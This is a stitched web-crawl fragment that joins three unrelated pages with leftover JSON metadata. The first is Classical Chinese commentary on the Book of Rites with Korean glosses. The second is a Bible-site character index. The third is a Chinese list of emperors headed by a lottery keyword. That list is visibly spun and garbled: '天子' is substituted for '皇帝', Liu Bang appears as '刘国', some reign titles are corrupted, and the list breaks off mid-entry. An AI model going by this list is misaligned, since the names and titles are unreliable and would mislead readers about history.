兩事이 一時而俱動則有利害之爭호대 不相及不相害則無所爭矣라. 此泛言人君治天下之事이 有大,有細,有深,有茂,有連,有動而自然各得其分理者는 不過一順之至而已라. 故.明於順然後에 能守危亡之戒而不至危亡也라.\n[新安上氏曰此極言大順之理萬幾日來庶事總至其大積者然也以順處之各有其序可以無苑結矣威福竝用剛柔迭施其竝行者然也以順施之各得其宜可以無錯謬矣一頻笑之微下之休戚係焉一好惡之微衆之向背係焉此其細行者然也以順爲之可以無過矣幽遠謂之深其勢則易隔惟順則其情必通衆多謂之茂其勢則易雜惟順則其分有間連則易以相干惟順則同而異不相及也動則易以相違惟順則異而同不相害也天下之大順至此極矣惟明於順然後上下相得君臣相安可以守危蓋居高則勢易危守危則可安於民上也]\n[臨川吳氏曰 危者順之反不順則違逆 違逆者危道也]\n[苑:동산원][謬:그릇될유,古音무][疉:거듭첩][膠:아교교][滯:막힐체][舛:어수선할천,어길천][窅오목눈요,窈][頻:자주빈.頻繁]\n43. 故로 禮之不同也와 不豊也와 不殺[色介反]也는 所以持情而合危也니, 故로 聖王所以順이 山者를 不使居川하시며 不使渚者로 居中原하사 而弗敝也하며 用水火金木 飮食호대 必時하시며, 合男女하며 頒爵位호대 必當[去聲]年德하시며 用民必順하시나니, 故로 無水旱․昆蟲之灾하며 民無凶饑․妖孽之疾이니라.[421]\n貴賤이 有等이라. 故.禮制不同하니 應儉者는 不可豊이요, 應隆者는 不可殺이니, 所以維持人情하야 不使之驕縱하고, 保合上下하야 不使之危亂也라. 聖人所以順民之情者이 如安於山則不徙之居川하고, 安於渚則不徙之居中原, 故로 民不困敝也라. 獺祭魚然後면 虞人入澤梁하고, 及春獻鼈蜃하고, 秋獻龜魚之類는 是用水必時也로다. 春取榆柳之火하고, 夏取棗杏之火하고, 季夏取桑柘之火하고, 秋取柞楢之火하고, 冬取槐檀之火하고, 又周禮.季春出火.季秋納火之類는 是用火必時也요, 卝人以時로 取金王錫石하고, 及月令.季春에 審五庫之量.金鐵爲先은 是用金必時也요, 仲冬斬陽木하고 仲夏斬陰木은 是用木必時也요, 飮食則如食齊視春時하고 羹齊視夏時之類이 是也라. 合男女를 必當其年하고 頒爵位를 必當其德하고 用民을 必於農隙이니, 凡此이 皆是以順行之故로 能感召兩間之和而無旱乾水溢及螟蝗之災也라. 凶饑는 年凶穀不熟也라. 妖는 謂衣服歌謡草木之怪요, 孽은 謂禽獸蟲豸之怪니 史家五行志.所載代有之疾患也라.\n[馬氏曰山川之勢異而高下之習不同原渚之勢殊而水陸之居不一聖人則因其所利而利之順其所居而居之有安於此則不强於彼然聖人之順不止於此而已推其詳則凡居民材必因天地寒煖燥濕皆所以順民也年有高下故合男女必當其年德有厚薄故頒爵位必當其德因其高下而合之所以順陰陽之理也因其薄厚而頒之所以明貴賤之等也四民之業不同先王則順之而不易四時之務不一先王則順之而不奪故曰用民必順]\n[長樂陳氏曰禮所以持人之情而使之稱合事之危而使之安也聖王知其禮之稱情安危如此故居川原不易其利不變其俗使之各適其適而弗敝焉此因地之利以順之也用水火金木飮食必時此因天之時以順之也合男女頒爵祿以至用民不奪其時此因人之利以順之也夫唯因地之利因天之時因人之理而致順如此故國無災民無疾也]\n[臨川吳氏曰居民之順因於地時物之順因於天昏姻任使力役之順因於人因天地人以行順道故天地人之應亦順而天地不生水旱昆蟲之災人不罹凶饑妖孽之疾凶謂疫癘饑謂荒歉草木等怪爲妖飛走等怪爲孽]\n[獺:수달달][鼈:자라별,고사리(蕨)][蜃:대합조개신.蜃車.蜃氣樓.蜃蛤]\n[榆:느릅나무유][杏:살구행][柘산뽕나무자][柞:가락나무작,갈참][楢:졸참나무유][槐:회화나무괴,느티][卝:북상투관][斬:벨참][頒:나눌반][隙틈극][螟멸구명][蝗:벼메뚜기황][謡:노래요][孽:서자얼][豸:해태치][罹걸릴리(이)][癘:염병려][歉적을겸,흉년,부족,탕하다]\n44. 故로 天不愛其道하며 地不愛其寶하며 人不愛其情하나니, 故로 天降膏露하며 地出醴泉하며 山出器車하며 河出馬圖하며 鳯凰․麒麟이 皆在郊棷[藪]하며 龜龍이 在宮沼하며 其餘鳥獸之卵胎를 皆可俯而闚也니 則是無故라. 先王이 能修禮以達義하시며 體信以達順이니 故로 此이 順之實也라.[424]\n舊說에 器爲銀甕丹甑이요, 車爲山車垂鈎라 하니, 謂不待揉治而自圓曲也라. 晉時에 恒山大樹이 自拔하니 根下에 有璧七十.圭七十三호대 皆光色이 精奇하야 異常玉하고, 又張掖柳谷之石이 有八卦璜玦之象이라하니 亦此類也라. 棷는 與藪同하니라. 龍之變化叵測이 未必宮沼면 有之로대 亦極言至順感召之卓異耳니 不以辭害意可也라. 脩禮以達義者는 脩此禮以爲敎而達之天下하야 無不宜也요, 體信以達順者는 反身而誠而達之天下하야 無不順也니, 此極功矣라. 故.結之曰 此順之實也라 하니라.\n○ 程子이 曰 君子이 修己以敬하고 篤恭而天下平이니 惟上下이 一於恭敬則天地自位하고, 萬物이 自育而四靈이 畢矣니, 此이 體信達順之道라.\n○ 朱子이 曰 信은 是實理요, 順은 是和氣니 體信은 是致中이요, 達順은 是致和라. 實體此道於身則自然發而中節하야 推之天下而所不通也라.\n[嚴陵方氏曰天爲神故以道言地爲富故以寶言人有欲故以情言不愛言盡其所以而與之也膏露則露之澤其濃如膏醴泉則泉之味其甘如醴郊棷則在郊之棷也宮沼則在宮之沼也鳥獸之卵胎皆可俯而見則以順之所感而無獝狘之患故也莊子言至德之世烏鵲之巢可攀援而窺蓋謂是矣修禮於外所以達義於內體信於人所以達順於天]\n[朱子曰體信是忠達順是恕體信是無一毫之僞達順是發而皆中節無一物不得其所聰明睿知皆由此出是自誠而明意思體信是眞實無妄達順是使萬物各得其所]\n[臨川吳氏曰天順之應如此亦無他故而使之然蓋由先聖王能修治其禮而達之於禮之義以敎天下之人體實理之心而達之於一身之順充而爲家國天下之順之故也遂至天地人物同一大順焉夫順理淵微初無形象今兩間嘉瑞昭然顯著此順之實迹可見者故曰此順之實也]\n[棷:땔나무추,수풀수][藪:큰늪수,林,덤불][沼:늪소(曲池.둥근것은池)][闚:엿볼규]\n[甕:항아리옹][甑시루증][鈎:갈고리구.낚시로낚다,갈고리로 걸다][揉:주무를유,휠유][掖璜玦[叵:어려울파,드디어파][獝:놀랄휼][狘:놀라달아날월][攀:더위잡을반,당길반]","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/jkch.namoweb.net\/cham\/han\/yeky\/9-yewn.htm","date":"2019-02-19T18:41:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247491141.23\/warc\/CC-MAIN-20190219183054-20190219205054-00447.warc.gz","language":"lzh","language_score":0.508082211,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5080822110176086, \"cmn_Hani_score\": 0.26746097207069397, \"kor_Hang_score\": 0.1444745808839798, \"jpn_Jpan_score\": 0.047417089343070984, \"nan_Hani_score\": 0.012240121141076088, \"wuu_Hani_score\": 0.011881444603204727}","num_words":2755,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.003,"flagged_words_ratio":0.0,"lang_id_score":0.508,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Found entries\nAll 1 2 3 A I J • ─ □ 〈 〉 「 」 『 』 〔 〕 ㄤ 一 丁 七 丈 三 上 下 不 且 丕 世 丟 並 中 串 丹 主 乃 久 之 乎 乏 乖 乘 九 也 乳 乾 亂 了 事 二 于 云 互 五 井 亙 些 亞 亡 交 亥 亦 亨 享 京 亭 亮 人 什 仁 仆 仇 今 介 仍 仔 他 仗 付 仙 代 令 以 仰 件 任 份 仿 伊 伍 伏 伐 休 伯 估 伴 伶 伸 伺 似 但 佈 位 低 住 佐 佑 佔 何 作 你 佩 佯 佳 併 使 來 例 侍 供 依 侮 侯 侵 便 係 促 俄 俊 俏 俗 保 信 修 俯 俱 俸 倉 個 倍 們 倒 倔 倘 候 倚 借 倣 倦 倫 倭 值 假 偉 偏 做 停 健 側 偶 偷 偽 傅 傍 傑 備 催 傭 傲 傳 債 傷 傾 僅 像 僕 僚 僭 僮 僵 價 僻 儀 億 儆 儘 償 儹 允 元 兄 充 兆 兇 先 光 克 兌 免 兒 兔 兜 兢 入 內 全 兩 八 公 六 共 兵 其 具 典 兼 冊 再 冑 冒 冕 冠 冤 冥 冬 冰 冷 准 凋 凌 凝 凡 凱 凳 凶 凸 凹 出 刀 刃 分 切 刑 列 初 判 別 刨 利 刪 刮 到 制 刷 刺 刻 剃 則 削 剋 前 剔 剖 剛 剜 剝 剩 剪 副 割 創 剿 劃 劈 劍 力 功 加 劣 助 努 劬 勁 勃 勇 勉 勒 動 務 勝 勞 募 勢 勤 勵 勸 勻 勾 勿 包 匉 化 北 匙 匠 匣 匪 匹 匿 區 十 千 升 午 半 卑 卒 協 南 博 卜 占 卦 卯 印 危 即 卷 卸 卻 厄 厚 原 厭 厲 去 參 又 叉 及 友 反 叔 取 受 叛 叟 叢 口 古 句 另 叨 叩 只 叫 召 可 台 叱 史 右 司 叼 吃 各 合 吉 吊 同 名 后 吏 吐 向 君 吝 吞 吟 否 吧 吩 含 吳 吵 吶 吸 吹 吼 吾 呀 呂 呈 告 呢 周 味 呵 呼 命 咂 咆 和 咐 咒 咬 咳 咷 咸 咽 哀 品 哄 哇 哈 哉 哎 員 哥 哩 哪 哭 哮 哲 哺 哼 唆 唇 唉 唯 唱 唾 啄 商 啊 問 啞 啟 啣 啦 啼 喃 善 喇 喉 喊 喘 喚 喜 喝 喧 喪 喫 單 喻 嗇 嗉 嗎 嗐 嗣 嗤 嘉 嘔 嘗 嘩 嘬 嘲 嘴 嘶 嘻 噎 噓 噠 器 噩 噬 噯 噴 嚇 嚏 嚨 嚴 嚷 嚼 囊 囑 囚 四 回 因 囫 困 固 囿 圇 圈 國 圍 園 圓 圖 團 土 在 圭 地 址 均 坍 坎 坐 坑 坡 坦 垂 垣 埃 埋 城 埠 執 培 基 堂 堅 堆 堪 報 場 堵 塊 塋 塌 塔 塗 塘 塞 填 塵 墁 境 墊 墓 墜 增 墨 墩 墮 墳 墾 壁 壇 壓 壘 壞 士 壯 壺 壽 夏 外 夙 多 夜 夠 夢 夥 大 天 太 夫 夭 央 失 夾 奇 奈 奉 奏 契 奔 套 奠 奢 奧 奩 奪 奮 女 奴 奶 奸 她 好 如 妃 妄 妒 妓 妙 妝 妥 妨 妹 妻 妾 姆 姊 始 姐 姑 姓 委 姦 姨 姪 姻 威 娃 娘 娶 娼 婆 婉 婚 婢 婦 婪 婿 媚 媳 媽 嫁 嫂 嫉 嫌 嫩 嬉 嬌 嬪 嬰 孌 子 孔 孕 字 存 孚 孝 季 孤 孩 孫 孳 學 孽 宅 宇 守 安 完 宏 宗 官 宙 定 宜 客 宣 室 宮 宰 害 宴 宵 家 容 宿 寂 寄 密 富 寒 寓 寞 察 寡 寢 實 寧 寨 審 寫 寬 寵 寶 寸 封 射 將 專 尊 尋 對 導 小 少 尖 尚 就 尺 尼 尾 尿 局 居 屈 屋 屍 展 屜 屢 層 履 屬 屯 山 岔 岡 岳 岷 岸 峰 島 峻 崇 崎 崖 崙 崩 崽 嵌 嶇 嶺 巖 川 巡 巢 工 左 巧 巫 差 己 已 巳 巴 巷 巾 市 布 帆 希 帑 帕 帖 帚 帝 帥 師 席 帳 帶 帷 常 幅 幌 幔 幕 幟 幫 干 平 年 幸 幹 幻 幼 幽 幾 庇 床 序 底 店 府 度 座 庫 庭 庶 康 廁 廉 廊 廚 廟 廠 廢 廣 廩 廳 延 建 廿 弄 弊 式 弒 弓 弔 引 弗 弟 弦 弱 張 強 彈 彌 彎 形 彩 彰 影 彷 役 彼 彿 往 征 待 徇 很 律 後 徐 徑 徒 得 從 御 復 循 微 徵 德 心 必 忌 忍 忒 志 忘 忙 忠 忤 快 念 忻 忽 忿 怎 怒 怕 思 怠 急 性 怨 怪 怯 恃 恆 恉 恐 恕 恤 恥 恨 恩 恭 息 恰 悄 悅 悉 悔 悖 悟 患 悲 悴 悶 悼 悽 情 惑 惜 惟 惠 惡 惰 惱 想 惶 惹 愁 愆 愈 愎 意 愚 愛 感 愧 愷 慇 慈 態 慌 慎 慕 慘 慚 慟 慢 慣 慧 慮 慰 慶 慾 憂 憊 憎 憐 憑 憔 憤 憫 憶 懂 懃 懇 懈 應 懊 懦 懲 懶 懷 懸 懼 戀 戈 戍 成 我 戒 或 戚 戛 戟 戥 截 戮 戰 戲 戳 戴 戶 戾 房 所 扁 扇 手 才 扎 打 扔 托 扛 扣 扭 扮 扯 扶 批 找 承 技 抄 把 抓 投 抖 抗 折 披 抬 抱 抵 抹 押 抽 拆 拇 拈 拉 拋 拍 拐 拒 拔 拖 拘 拙 拚 招 拜 括 拯 拳 拴 拷 拾 拿 持 挂 指 按 挑 挓 挖 挨 挪 挫 振 挲 挺 挽 挾 捆 捉 捏 捐 捕 捧 捨 捫 捲 捶 捷 掀 掃 掄 授 掉 掌 掏 掐 排 掘 掙 掛 掠 採 探 掣 接 控 推 掩 措 揀 提 插 揚 換 揝 握 揣 揪 揭 搆 搋 損 搓 搖 搗 搜 搥 搧 搬 搭 搶 摀 摔 摘 摞 摟 摩 摶 摸 摺 撇 撐 撒 撕 撚 撞 撤 撥 撫 播 撮 撲 撻 撼 撿 擁 擄 擅 擇 擊 擋 操 擒 擔 擘 據 擠 擦 擬 擰 擱 擲 擴 擺 擾 攆 攏 攔 攙 攜 攢 攪 支 收 改 攻 放 政 故 效 敏 救 敗 敘 教 敞 敢 散 敦 敬 敲 整 敵 敷 數 斂 斃 文 斐 斑 斗 料 斜 斟 斤 斥 斧 斬 斯 新 斷 方 於 施 旁 旅 旋 旌 族 旒 旗 既 日 旦 旨 早 旬 旱 旺 昂 昆 昌 明 昏 易 昔 星 春 昧 昨 是 昴 時 晃 晉 晌 晚 晝 晨 普 景 晴 晶 晷 智 暇 暑 暖 暗 暢 暫 暴 曉 曝 曠 曬 曲 更 曷 書 曼 曾 替 最 會 月 有 朋 服 朔 望 朝 期 木 未 末 本 朱 朵 朽 杆 杈 杉 李 杏 材 村 杖 杜 束 杠 杯 東 杴 杵 松 板 枉 枕 林 果 枝 枯 枳 枵 架 枷 柁 柄 柏 某 染 柔 柞 查 柯 柱 柳 柴 柺 栗 核 根 格 栽 桂 桃 桅 框 案 桌 桐 桑 桶 桿 梁 梃 梅 梗 條 梢 梭 梯 械 梳 棄 棍 棒 棕 棘 棚 棟 森 棲 棵 棺 椅 植 椽 楊 楓 楚 楠 楣 業 極 概 榜 榦 榧 榫 榮 榴 榻 槁 槌 槍 槓 槳 槽 樂 樓 標 樞 模 樣 樸 樹 橄 橛 機 橡 橫 檀 檐 檢 檻 櫃 櫓 櫺 欄 權 欖 欠 次 欣 欲 欺 欽 款 歇 歌 歎 歛 歡 止 正 此 步 武 歪 歲 歷 歸 歹 死 殃 殘 殮 殯 段 殷 殺 殼 殿 毀 毆 母 每 毒 比 毗 毘 毛 毫 毯 毼 氏 民 氣 水 永 氾 汁 求 汊 汗 汛 江 池 污 汪 汲 決 沉 沌 沐 沒 沖 沙 沛 沫 河 沸 油 治 沽 沾 沿 況 泄 泉 泊 法 泛 泡 波 泣 泥 注 泰 泳 洋 洑 洗 洛 洞 洩 洪 洲 洶 活 派 流 浩 浪 浮 浴 海 浸 消 涉 涎 涮 涯 液 涸 涼 淋 淒 淚 淡 淤 淨 淪 淫 深 淵 混 淹 淺 添 清 減 渡 渣 測 港 渴 游 渺 渾 湃 湊 湖 湧 湯 源 準 溝 溢 溪 溫 溺 溼 滄 滅 滋 滌 滑 滓 滔 滴 滾 滿 漁 漂 漆 漏 漓 漠 漢 漫 漲 漸 漿 潑 潔 潤 潭 潰 澄 澆 澎 澡 澳 激 濁 濃 濕 濘 濟 濠 濤 濫 濯 濱 濺 濾 瀆 瀉 瀑 瀾 灌 灑 灘 灣 火 灰 灶 災 炎 炒 炭 為 烈 烏 烘 烙 烤 焉 焚 無 焦 焰 然 煆 煉 煌 煎 煙 煞 煤 照 煩 煮 煽 熄 熊 熟 熬 熱 燄 燈 燎 燒 燔 燕 燙 營 燥 燦 燬 燭 爆 爍 爐 爛 爪 爬 爭 爵 父 爸 爹 爽 爾 牆 片 版 牌 牙 牛 牝 牠 牡 牢 牧 物 牲 牴 特 牽 犁 犢 犧 犬 犯 犰 狀 狂 狄 狐 狗 狠 狡 狸 狹 狼 猖 猛 猜 猴 猶 猾 猿 獄 獅 獎 獨 獲 獵 獸 獻 玄 率 玉 王 玎 玩 玫 玳 玷 玻 珊 珍 珞 珠 珥 班 現 球 理 琢 琳 琴 琵 琶 瑕 瑙 瑚 瑟 瑣 瑪 瑰 瑾 璃 璉 璧 璫 環 璽 瓔 瓜 瓣 瓤 瓦 瓶 甕 甘 甚 甜 生 產 甥 甦 用 甩 田 由 甲 申 男 甸 界 畏 留 畜 畝 畢 略 畦 番 畫 異 當 疆 疊 疋 疏 疑 疥 疫 疲 疵 疼 疾 病 症 痊 痔 痕 痛 痢 痲 瘀 瘉 瘋 瘓 瘟 瘠 瘡 瘤 瘦 瘧 瘸 癆 癇 癟 癡 癢 癤 癬 癱 癲 登 發 白 百 皂 的 皆 皇 皎 皮 皺 皿 盂 盆 盈 益 盒 盔 盛 盜 盞 盟 盡 監 盤 盪 目 直 相 盹 盼 盾 省 眉 看 真 眨 眶 眷 眼 眾 睚 睛 睜 睡 督 睦 睹 瞅 瞎 瞞 瞪 瞭 瞳 瞻 矇 矛 矜 矢 知 矩 矬 短 矮 石 砌 砍 研 砧 破 砸 硃 硝 硫 硬 碌 碎 碑 碗 碡 碧 碰 確 碼 磐 磚 磣 磨 磬 磯 磴 磺 礁 礙 礦 示 祀 祈 祉 祕 祖 祝 神 祭 祿 禁 禍 福 禧 禮 禱 禽 禾 禿 秀 私 秉 秋 秕 秘 租 秤 秦 秧 秸 移 稀 稅 程 稍 稗 稟 稠 種 稱 稼 穀 穌 積 穗 穡 穢 穩 穴 究 穹 空 穿 突 窄 窖 窗 窘 窟 窨 窩 窪 窮 窯 窺 窿 竄 竅 竊 立 站 竟 章 童 竭 端 競 竿 笆 笏 笑 笙 笛 符 笨 第 筆 等 筋 筏 筐 筒 答 策 筵 箍 箕 算 管 箭 箱 箴 節 範 篇 築 篡 篤 篩 篷 篾 簍 簫 簸 簽 簾 籃 籌 籍 籐 籠 籤 籬 籮 籲 米 粉 粒 粗 粘 精 糊 糞 糟 糠 糢 糧 糰 糴 糶 系 紀 約 紅 紋 納 紐 純 紙 級 紛 素 紡 索 紫 紮 累 細 終 絆 結 絕 絡 給 絨 絮 統 絲 綁 經 綠 綢 綱 網 綸 綹 綽 綿 緊 緘 線 緣 編 緩 緬 緯 練 緻 縋 縛 縫 縮 縱 縵 總 繁 織 繙 繞 繡 繩 繫 繸 繼 續 纍 纏 纛 纜 缸 缺 罈 罐 罕 罣 罩 罪 置 罰 罵 罷 羅 羈 羊 美 羔 羚 羞 羢 群 羨 義 羹 羽 翁 翅 翎 習 翔 翠 翡 翰 翳 翻 翼 耀 老 考 者 而 耍 耐 耕 耗 耙 耳 耶 耽 聖 聘 聚 聞 聯 聰 聲 聳 聶 職 聽 聾 肅 肆 肉 肋 肌 肘 肚 肝 股 肢 肥 肩 肯 育 肺 胃 背 胎 胖 胞 胡 胳 胸 能 脂 脅 脈 脊 脫 脹 脾 腎 腑 腓 腥 腦 腫 腮 腰 腳 腸 腹 腿 膀 膏 膚 膛 膜 膝 膠 膳 膽 膿 臂 臉 臌 臍 臘 臟 臣 臥 臨 自 臬 臭 至 致 臺 臼 舀 舅 與 興 舉 舊 舌 舍 舒 舔 舖 舜 舞 舟 航 般 舵 船 艙 艮 良 艱 色 艷 艾 芟 芥 芫 花 芸 芹 芽 苗 苞 苟 若 苦 英 茂 茄 茅 茍 茴 茵 草 荊 荒 荳 荷 荻 荽 莊 莢 莫 菇 菏 菖 菜 菢 華 菲 菴 萄 萊 萍 萑 萬 落 葉 著 葡 葦 葬 葷 蒙 蒜 蒲 蒺 蒼 蓄 蓋 蓖 蓬 蓮 蓿 蔑 蔓 蔗 蔥 蔬 蔭 蔯 蔻 蔽 蕃 蕊 蕩 薄 薅 薛 薦 薩 薪 薰 藉 藍 藏 藐 藜 藝 藥 藩 蘆 蘇 蘋 蘭 蘸 虎 虐 虔 處 虛 號 虧 虱 虹 虺 虻 虼 蚤 蚱 蛀 蛆 蛇 蛋 蛙 蛛 蛦 蛾 蜂 蜃 蜓 蜘 蜜 蜢 蜥 蜴 蝕 蝗 蝘 蝙 蝠 蝮 蝸 蝻 融 螞 螫 螺 蟀 蟋 蟥 蟲 蟻 蠅 蠍 蠓 蠟 蠢 蠶 蠹 蠻 血 行 術 街 衙 衛 衝 衡 衣 表 衫 衰 衲 袋 袍 袖 袞 被 袱 裂 裔 裕 裙 補 裝 裡 裳 裹 製 褂 複 褥 褲 褻 襟 西 要 覆 見 規 覓 視 親 覲 覺 覿 觀 角 解 觸 言 訂 訇 計 討 訓 託 記 訛 訝 訟 訣 訥 訪 設 許 訴 詎 詐 詔 評 詛 詞 詢 試 詩 詫 詭 話 該 詳 誆 誇 認 誓 誘 誚 語 誠 誡 誣 誤 誥 誦 誨 說 誰 課 誼 調 諂 諄 談 諉 請 諒 論 諫 諭 諱 諸 諾 謀 謁 謄 謊 謎 謗 謙 講 謝 謠 謬 謹 證 譏 識 譜 警 譬 譯 議 護 譽 讀 變 讒 讓 讚 讟 谷 豁 豆 豈 豎 豐 象 豪 豫 豬 豹 豺 貌 貓 貝 貞 負 財 貢 貧 貨 販 貪 貫 責 貲 貴 貶 買 貸 費 貼 貽 貿 賀 賂 賃 賄 資 賈 賊 賓 賙 賚 賜 賞 賠 賢 賣 賤 質 賬 賭 賴 賺 賽 贅 贈 贏 贓 贖 赤 赦 赫 走 赴 起 趁 超 越 趕 趟 趨 足 跌 跐 跑 跟 跡 跤 跨 跪 路 跳 跺 踊 踏 踐 踝 踢 踴 踹 蹄 蹈 蹋 蹟 蹤 蹦 蹧 蹲 躁 躍 躥 身 躲 躺 車 軋 軌 軍 軛 軟 軸 較 載 輔 輕 輛 輜 輝 輞 輥 輦 輩 輪 輸 輻 輾 轂 轄 轉 轎 轟 轡 辛 辜 辟 辦 辨 辭 辮 辯 辰 辱 農 迅 迎 近 返 迥 迦 迫 述 迴 迷 迸 追 退 送 逃 逆 透 逐 途 這 通 逞 速 造 逢 連 週 進 逸 逼 逾 逿 遁 遂 遇 遊 運 遍 過 道 達 違 遙 遜 遞 遠 遣 適 遭 遮 遲 遵 遷 選 遺 遼 避 邁 還 邊 邏 邑 那 邦 邪 邱 郊 郎 部 郭 都 鄉 鄙 鄭 鄰 酉 酊 酌 配 酒 酩 酬 酵 酸 醃 醇 醉 醋 醒 醜 醡 醫 釀 釋 里 重 野 量 金 釘 釜 針 釣 釧 鈍 鈕 鈴 鈸 鉈 鉋 鉛 鉤 銀 銅 銘 銲 銳 銷 銼 鋒 鋤 鋪 鋸 鋼 錄 錐 錘 錚 錠 錢 錦 錨 錫 錯 鍊 鍋 鍍 鍤 鍬 鍼 鎔 鎖 鎗 鎚 鎧 鎮 鏇 鏈 鏊 鏟 鏡 鏨 鏽 鐃 鐏 鐐 鐫 鐮 鐲 鐵 鐺 鑄 鑑 鑒 鑰 鑲 鑷 鑼 鑽 鑿 長 門 閂 閃 閉 開 閑 閒 間 閔 閘 閣 閤 閨 閹 闊 闖 關 闢 阱 防 阻 阿 陀 附 陋 降 限 陡 院 陣 除 陪 陰 陳 陵 陶 陷 陸 陽 隆 隊 階 隔 隘 隙 障 隨 險 隱 隴 隸 隻 雀 雄 雅 集 雇 雕 雖 雙 雛 雜 雞 離 難 雨 雪 雲 零 雷 雹 電 需 震 霉 霎 霑 霖 霜 霧 露 霸 霹 靈 青 靖 靜 非 靠 面 革 靶 鞋 鞍 鞘 鞭 韋 韭 音 響 頂 頃 項 順 須 頌 預 頑 頒 頓 領 頭 頰 頸 顆 題 額 顏 願 顛 類 顧 顫 顯 風 颳 颻 颼 飄 飛 食 飢 飫 飯 飲 飽 飾 餂 餅 餉 養 餐 餓 餘 餧 館 餵 餽 饈 饉 饑 饒 饜 饞 首 香 馨 馬 馱 馳 馴 駁 駐 駒 駕 駝 駭 駱 駿 騎 騙 騰 騷 騸 騾 驅 驕 驗 驚 驛 驢 骨 骯 骸 骼 髏 髑 髒 髓 體 高 髮 鬃 鬆 鬍 鬚 鬢 鬥 鬧 鬨 鬮 鬼 魁 魂 魔 魚 魯 鮮 鱗 鱷 鳥 鳩 鳳 鳴 鴉 鴕 鴞 鴟 鴣 鴻 鴿 鵀 鵜 鵪 鵰 鶉 鶘 鶴 鶿 鷂 鷓 鷙 鷥 鷹 鷺 鸇 鸕 鸛 鹵 鹹 鹼 鹽 鹿 麀 麃 麋 麗 麥 麵 麻 麼 黃 黎 黏 黑 默 點 黨 鼎 鼓 鼠 鼫 鼬 鼻 齊 齋 齒 齦 龍 龕 ﹞\nVariable sorting: click on the column titles to sort it ascending or descending.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/bible-tools.org\/index.php?page=idxbible&bible=12","date":"2019-12-11T06:33:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540529955.67\/warc\/CC-MAIN-20191211045724-20191211073724-00325.warc.gz","language":"lzh","language_score":0.4981846809,"language_script":"Hani","minhash_cluster_size":11,"top_langs":"{\"lzh_Hani_score\": 0.4981846809387207, \"cmn_Hani_score\": 0.3454951345920563, \"nan_Hani_score\": 0.08531603217124939, \"yue_Hani_score\": 0.0707487165927887}","num_words":3162,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.496,"stopwords_ratio":0.009,"flagged_words_ratio":0.0,"lang_id_score":0.512,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"秒速飞艇中国历代皇帝\n刘婴未称帝,中国历代天子 分析:以下凡加*号的,中国历代天子_玄学\/史书_人文社科_专业原料。为追谥。天下史上首位天子——秦始皇 秦朝 秦始天子嬴政 二世天子嬴胡亥 三世天子嬴子婴 西汉 太祖\/高天子(世称汉高祖)刘国 孝惠天子刘盈 前少帝刘恭 后少帝刘中国历代天子 分析:以下凡加*号的,称造) 梁王耶律雅里 英宗耶律术烈 西辽 德宗耶律大石 感天皇后萧塔不烟 仁宗耶律夷列 承天天子耶律普速完 末帝耶律直鲁古 恭帝耶律屈出律 宋朝 太祖 启运立极威武睿文神德圣功至明大孝天子 赵匡胤 赵匡胤 太宗 至仁应道神功圣德文武睿烈大明广孝天子赵炅 ( 赵匡 义、赵光义) 真宗 赝符稽古神功让德文雅武定则圣元孝天子赵恒 仁宗 体天法道极功全德神文圣武睿哲明孝天子赵祯 英宗 体乾应历隆功盛德宪文肃武睿圣宣孝天子赵曙(义名王 华) 神宗 绍天法古运德修功英文烈武钦仁圣孝天子赵顼 哲宗 宪元继道显德定功钦文睿武齐圣昭孝天子赵煦 徽宗 体神合道骏烈逊功圣文仁德宪慈显孝天子赵佶 钦宗 恭文顺德仁孝天子赵桓 高宗 受掷中兴全功至德圣神武文昭仁宪孝天子赵构 孝宗 绍统同志冠德昭功哲文圣武明圣成孝天子赵昚 光宗 循道宪仁明功茂德温文顺武圣哲慈孝天子赵惇 宁宗 法天备道纯德茂功仁文哲武圣睿恭孝天子赵扩 理宗 修道备德大功兴盛烈文仁武圣明安孝天子赵昀 度宗 端文雅武景孝天子赵禥 恭宗 孝恭懿圣天子赵显 端宗 裕文昭武湣孝天子赵昰 末帝赵昺 西夏 *太祖 神武天子李继迁 *太宗 光圣天子李德明 景宗 武烈天子 李元昊 李元昊 毅宗 昭英天子李谅祚 惠宗 康靖天子李秉常 崇宗 圣文天子李乾顺 仁宗 圣德天子李仁孝 桓宗 昭简天子李纯佑 襄宗 敬穆天子李安定 神宗 英文天子李遵顼 献宗李德旺 末帝李睍 大理 太祖 神圣文武帝段思平 文经帝段思英 圣慈文武帝段思良 至道广慈帝段思聪 应道帝段素顺 昭明帝段素英 宣肃帝段素廉 秉义帝段素隆 圣德帝段素真 天明帝段素兴 兴宗 孝德帝段思廉 上德帝段廉义 广安帝杨义贞 上明帝段寿辉 保定帝段正明 大中帝高升泰 中宗文安帝段正淳 宪宗 宣仁帝段正厉 景宗 正康帝段正兴 宣宗 功极帝段智兴 享天帝段智廉 神宗 天开帝段智祥 孝义帝段祥兴 天定贤王段兴智 金朝 太祖 应乾兴运昭德定功仁明庄孝大圣武元天子完颜旻(完颜 阿骨打) 太宗 体元应运世德昭功哲惠仁圣文烈天子完颜晟 熙宗 弘基缵武庄靖孝成帝完颜亶 废帝\/海陵炀王完颜亮 世宗 光天兴运文德武功圣明仁孝帝完颜雍 章宗 宪天光运仁文义武神圣仁孝帝完颜璟 卫绍王完颜允济 宣宗 继天兴统述道勤仁威武圣孝帝完颜珣 哀宗 敬天德运忠文靖武天圣烈孝庄天子完颜守绪 昭宗 定文匡武闵怀天子\/末帝\/后主完颜承麟 元朝 太祖 法天启运圣武天子\/成吉思汗孛儿只斤·铁木真 太宗 英文天子孛儿只斤·窝阔台 定宗 简平天子孛儿只斤·贵由 宪宗 桓肃天子孛儿只斤·蒙哥 世祖 圣德神功文武天子孛儿只斤·忽必烈 成宗 钦明广孝天子\/完泽笃汗孛儿只斤·铁穆耳 武宗 仁惠宣孝天子孛儿只斤·海山 仁宗 圣文钦孝天子孛儿只斤·爱育黎拔力八达 英宗 睿圣文孝天子孛儿只斤·硕德八剌 晋宗 致孝天子\/泰定帝孛儿只斤·也孙铁木儿 兴宗 